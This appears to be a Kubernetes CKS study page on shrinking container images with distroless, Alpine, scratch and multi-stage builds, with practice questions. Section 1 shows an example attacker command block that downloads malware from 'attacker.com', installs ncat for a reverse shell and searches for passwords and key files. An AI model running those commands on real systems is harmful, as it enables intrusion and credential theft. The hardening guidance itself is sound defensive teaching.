CKS — Minimize Base Image Footprint

9 minute read

Minimize Base Image Footprint

CKS Exam Domain: Supply Chain Security (20%)

Every package, library, and binary in a container image is potential attack surface. A bloated image with a full OS, package manager, shell, and debug tools gives attackers everything they need to escalate from a compromised application to full container escape. The CKS exam expects you to build and select images that contain only what the application needs to run — nothing more.


1. The Problem with Fat Images

A standard ubuntu:22.04 image ships with:

  • bash, sh, and other shells
  • apt, dpkg — full package management
  • curl, wget — network utilities
  • find, grep, awk, sed — text processing
  • Hundreds of libraries and shared objects

An attacker who gains code execution inside a container built on this image can:

# Download additional tools
curl http://attacker.com/malware -o /tmp/malware && chmod +x /tmp/malware

# Install a reverse shell
apt update && apt install -y ncat

# Enumerate the environment
cat /etc/os-release
whoami
env | grep -i password
find / -name "*.key" -o -name "*.pem" 2>/dev/null

With a distroless or minimal image, none of these commands exist. The attacker has code execution but no tools to exploit it.


2. Distroless Images

Google’s distroless images contain only the application and its runtime dependencies. They have:

  • No shell (/bin/sh, /bin/bash — absent)
  • No package manager (apt, apk, yum — absent)
  • No common utilities (curl, wget, nc, find — absent)
  • Minimal OS libraries (glibc or equivalent only)

Available Distroless Base Images

Image Use Case Size
gcr.io/distroless/static-debian12 Statically compiled binaries (Go, Rust) ~2 MB
gcr.io/distroless/base-debian12 Dynamically linked binaries (need glibc) ~20 MB
gcr.io/distroless/java21-debian12 Java 21 applications ~220 MB
gcr.io/distroless/python3-debian12 Python 3 applications ~50 MB
gcr.io/distroless/nodejs22-debian12 Node.js 22 applications ~120 MB

Example: Go Application on Distroless

# Build stage
FROM golang:1.22-alpine AS builder
WORKDIR /app
COPY go.mod go.sum ./
RUN go mod download
COPY . .
RUN CGO_ENABLED=0 GOOS=linux go build -o /app/server .

# Runtime stage — distroless
FROM gcr.io/distroless/static-debian12
COPY --from=builder /app/server /server
USER 65534
ENTRYPOINT ["/server"]

Result: The final image is ~7 MB with zero shell access.

Debugging Distroless Containers

Since distroless has no shell, you cannot kubectl exec into it normally. Use ephemeral debug containers:

# Attach a debug container to a running distroless Pod
kubectl debug -it <pod-name> --image=busybox --target=<container-name>

# Or use the debug variant (NOT for production)
# gcr.io/distroless/base-debian12:debug  ← includes busybox shell

CKS Exam Tip: The exam may ask you to identify why kubectl exec fails on a Pod — if the image is distroless, there is no shell to exec into. Use kubectl debug instead.


3. Alpine-Based Images

Alpine Linux uses musl libc instead of glibc and ships with a minimal package set. It’s a middle ground between full OS images and distroless.

FROM alpine:3.19
RUN apk add --no-cache python3 py3-pip
COPY app.py /app/
USER 65534
CMD ["python3", "/app/app.py"]

Alpine Security Hardening

FROM alpine:3.19

# Install only what's needed
RUN apk add --no-cache python3 && \
    # Remove the package manager after installing
    apk del apk-tools && \
    rm -rf /var/cache/apk/* /sbin/apk

COPY app.py /app/
USER 65534
CMD ["python3", "/app/app.py"]

4. Alpine vs Distroless Comparison

Criteria Alpine Distroless Full OS (Ubuntu/Debian)
Image Size 5–50 MB 2–20 MB 70–200 MB
Shell Access Yes (ash) No Yes (bash)
Package Manager apk None apt/dpkg
CVE Count Low Very Low High
Debug Capability Easy Hard (requires ephemeral containers) Easy
libc musl (may cause compatibility issues) glibc glibc
Security Score Good Excellent Poor
CKS Recommendation Acceptable Preferred Avoid

5. Multi-Stage Docker Builds

Multi-stage builds are the standard pattern for producing minimal images. Build tools, compilers, and source code are present only in the build stage and never ship in the final image.

Why Multi-Stage Matters for Security

Without multi-stage:                    With multi-stage:
┌──────────────────────┐                ┌──────────────────────┐
│ Final Image          │                │ BUILD stage          │
│ ├── gcc              │                │ ├── gcc              │
│ ├── make             │                │ ├── make             │  ← discarded
│ ├── source code      │                │ ├── source code      │
│ ├── .git directory   │                │ └── compiled binary  │
│ ├── build artifacts  │                └──────────┬───────────┘
│ ├── compiled binary  │                           │ COPY --from=builder
│ └── 500+ MB          │                ┌──────────▼───────────┐
└──────────────────────┘                │ RUNTIME stage        │
                                        │ ├── compiled binary  │
                                        │ └── 10 MB            │
                                        └──────────────────────┘

Complete Multi-Stage Example: Python Application

# ──────────────────────────
# Stage 1: Build
# ──────────────────────────
FROM python:3.12-slim AS builder

WORKDIR /build

# Install build dependencies
COPY requirements.txt .
RUN pip install --no-cache-dir --prefix=/install -r requirements.txt

# ──────────────────────────
# Stage 2: Runtime
# ──────────────────────────
FROM gcr.io/distroless/python3-debian12

# Copy only the installed packages and application code
COPY --from=builder /install /usr/local
COPY app/ /app/

WORKDIR /app
USER 65534

CMD ["main.py"]

Complete Multi-Stage Example: Node.js Application

# ──────────────────────────
# Stage 1: Build
# ──────────────────────────
FROM node:22-alpine AS builder

WORKDIR /build
COPY package.json package-lock.json ./
RUN npm ci --only=production
COPY src/ ./src/

# ──────────────────────────
# Stage 2: Runtime
# ──────────────────────────
FROM gcr.io/distroless/nodejs22-debian12

COPY --from=builder /build/node_modules /app/node_modules
COPY --from=builder /build/src /app/src

WORKDIR /app
USER 65534

CMD ["src/index.js"]

6. Dockerfile Security Best Practices

Run as Non-Root

# Create non-root user
RUN addgroup -g 1001 appgroup && \
    adduser -u 1001 -G appgroup -D appuser

# Switch to non-root user
USER 1001

# Or use the numeric nobody user
USER 65534

Security Impact: If the container runs as root and an attacker escapes, they have root on the host (unless user namespaces are enabled). Running as non-root limits blast radius.

Copy with Ownership

# Set ownership during COPY (avoids extra RUN chown layer)
COPY --chown=1001:1001 app/ /app/

Never Put Secrets in Images

# ❌ WRONG — secret is baked into image layer history
COPY credentials.json /app/config/
ENV DATABASE_PASSWORD=s3cur3p@ss

# ✅ CORRECT — mount secrets at runtime
# Use Kubernetes Secrets or volume mounts
# ENV vars should reference mounted secret files

Even if you delete a secret in a later layer, it remains in the image history:

# View all layers including deleted files
docker history <image>
docker save <image> | tar -xf - && cat manifest.json

Use .dockerignore

# .dockerignore
.git
.gitignore
*.md
Dockerfile
docker-compose.yml
.env
*.key
*.pem
*.secret
node_modules
__pycache__
.pytest_cache

Pin Versions

# ❌ Mutable tag — can be overwritten with different content
FROM nginx:latest

# ✅ Specific version
FROM nginx:1.27.0

# ✅✅ Pinned by digest — immutable
FROM nginx@sha256:6db391d1c0cfb30588ba0bf72ea999404f2764f...

7. Image Size Comparison

Image Base Size CVE Surface
node:22 Debian full ~1000 MB Very High
node:22-slim Debian slim ~200 MB Medium
node:22-alpine Alpine ~130 MB Low
gcr.io/distroless/nodejs22 Distroless ~120 MB Very Low
golang:1.22 Debian full ~800 MB Very High (build only)
gcr.io/distroless/static Distroless ~2 MB Minimal
alpine:3.19 Alpine ~7 MB Low
ubuntu:22.04 Ubuntu ~77 MB High
scratch Empty 0 MB None

CKS Exam Tip: When asked to “minimize the attack surface,” always reach for distroless or Alpine with removed package managers. Multi-stage builds are the mechanism to get there.


8. Scratch Images for Static Binaries

The scratch image is literally empty — no files, no OS, no libraries. It only works for statically compiled binaries.

FROM golang:1.22-alpine AS builder
WORKDIR /app
COPY . .
RUN CGO_ENABLED=0 GOOS=linux go build -ldflags="-s -w" -o /app/server .

FROM scratch
COPY --from=builder /app/server /server
USER 65534
ENTRYPOINT ["/server"]

Limitation: No CA certificates, no timezone data, no /etc/passwd. You must copy these explicitly if needed:

FROM scratch
COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/
COPY --from=builder /usr/share/zoneinfo /usr/share/zoneinfo
COPY --from=builder /etc/passwd /etc/passwd
COPY --from=builder /app/server /server
USER 65534
ENTRYPOINT ["/server"]

9. Kubernetes Pod Configuration for Minimal Images

Even with a minimal image, Pod configuration must enforce security:

apiVersion: v1
kind: Pod
metadata:
  name: secure-app
  namespace: production
spec:
  automountServiceAccountToken: false          # Don't mount SA token
  containers:
  - name: app
    image: registry.example.com/app@sha256:abc123...  # Pinned by digest
    imagePullPolicy: Always                    # Always pull (detect tag overwrites)
    securityContext:
      runAsNonRoot: true                       # Enforce non-root
      runAsUser: 65534                         # nobody user
      readOnlyRootFilesystem: true             # No writes to filesystem
      allowPrivilegeEscalation: false          # Prevent setuid
      capabilities:
        drop:
          - ALL                                # Drop all Linux capabilities
    resources:
      limits:
        memory: "128Mi"
        cpu: "250m"
      requests:
        memory: "64Mi"
        cpu: "100m"
    volumeMounts:
    - name: tmp
      mountPath: /tmp                          # Writable tmp via emptyDir
  volumes:
  - name: tmp
    emptyDir:
      sizeLimit: "10Mi"

Summary

Practice Security Benefit
Use distroless images No shell, no package manager, minimal attack surface
Multi-stage builds Build tools never ship in production
Run as non-root Limits escalation if container is compromised
Pin images by digest Prevents tag overwrite attacks
Remove package managers Attacker cannot install tools
Use .dockerignore Prevents secrets/source from leaking into image
Read-only filesystem Blocks attackers from writing persistence mechanisms

Practice Questions

Question 1

You discover that Pods in the backend namespace are running the python:3.12 image (full Debian variant). What should you do to minimize the attack surface?

Show Answer

Replace the full python:3.12 image with a multi-stage build that uses python:3.12-slim as the build stage and gcr.io/distroless/python3-debian12 as the runtime stage. This removes:

  • Shell access
  • Package manager
  • All unnecessary OS utilities
  • Build dependencies

Alternatively, use python:3.12-alpine if distroless is not feasible, and remove apk after installing dependencies.

Question 2

A developer has the following Dockerfile. Identify all security issues:

FROM ubuntu:latest
COPY . /app
ENV DB_PASSWORD=admin123
RUN apt install -y python3 && python3 -m pip install -r /app/requirements.txt
CMD ["python3", "/app/main.py"]
Show Answer

Security issues:

  1. FROM ubuntu:latest — Uses mutable latest tag and a full OS image. Use a specific version or distroless.
  2. COPY . /app — Copies everything including .git, secrets, and unnecessary files. Use .dockerignore.
  3. ENV DB_PASSWORD=admin123 — Secret baked into image layer. Use Kubernetes Secrets at runtime.
  4. No USER directive — Container runs as root by default.
  5. No multi-stage build — apt and pip remain in the final image along with build tools.
  6. Package manager not removed — apt is available for attackers to install tools.

Fixed Dockerfile:

FROM python:3.12-slim AS builder
WORKDIR /build
COPY requirements.txt .
RUN pip install --no-cache-dir --prefix=/install -r requirements.txt

FROM gcr.io/distroless/python3-debian12
COPY --from=builder /install /usr/local
COPY app/ /app/
WORKDIR /app
USER 65534
CMD ["main.py"]

Question 3

Why would kubectl exec -it <pod> -- /bin/sh fail on a Pod running a distroless image?

Show Answer

Distroless images do not contain a shell (/bin/sh, /bin/bash). The exec command fails because the binary does not exist in the container’s filesystem.

To debug a distroless container, use ephemeral debug containers:

kubectl debug -it <pod-name> --image=busybox --target=<container-name>

This attaches a new container with busybox (which includes a shell) to the Pod’s namespaces, allowing inspection of the process, network, and filesystem.

Question 4

What is the difference between FROM scratch and FROM gcr.io/distroless/static-debian12?

Show Answer
Feature scratch distroless/static
Size 0 bytes ~2 MB
CA Certificates Not included Included
Timezone data Not included Included
/etc/passwd Not included Includes nonroot user
Use case Fully static binaries where you copy needed files manually Static binaries that need TLS and user config

scratch is truly empty. distroless/static includes the minimal files needed for a static binary to make HTTPS calls and run as a non-root user.

Question 5

A security auditor reports that a container image is 950 MB. How do you reduce it while improving security?

Show Answer

Step-by-step approach:

  1. Identify what’s in the image:
    docker history <image>
    # Or use dive:
    dive <image>
    
  2. Switch to multi-stage build — separate build tools from runtime.

  3. Use a minimal base image — alpine or distroless instead of ubuntu/debian.

  4. Remove unnecessary packages:
    RUN apk add --no-cache <only-needed-packages> && \
        apk del apk-tools
    
  5. Add .dockerignore to exclude .git, node_modules, test files, documentation.

  6. Combine RUN layers to reduce intermediate layer bloat:
    RUN apt-get update && apt-get install -y pkg && \
        rm -rf /var/lib/apt/lists/*
    
  7. Pin the image by digest once rebuilt.

Expected result: 950 MB → 20–100 MB depending on application runtime requirements.

Updated: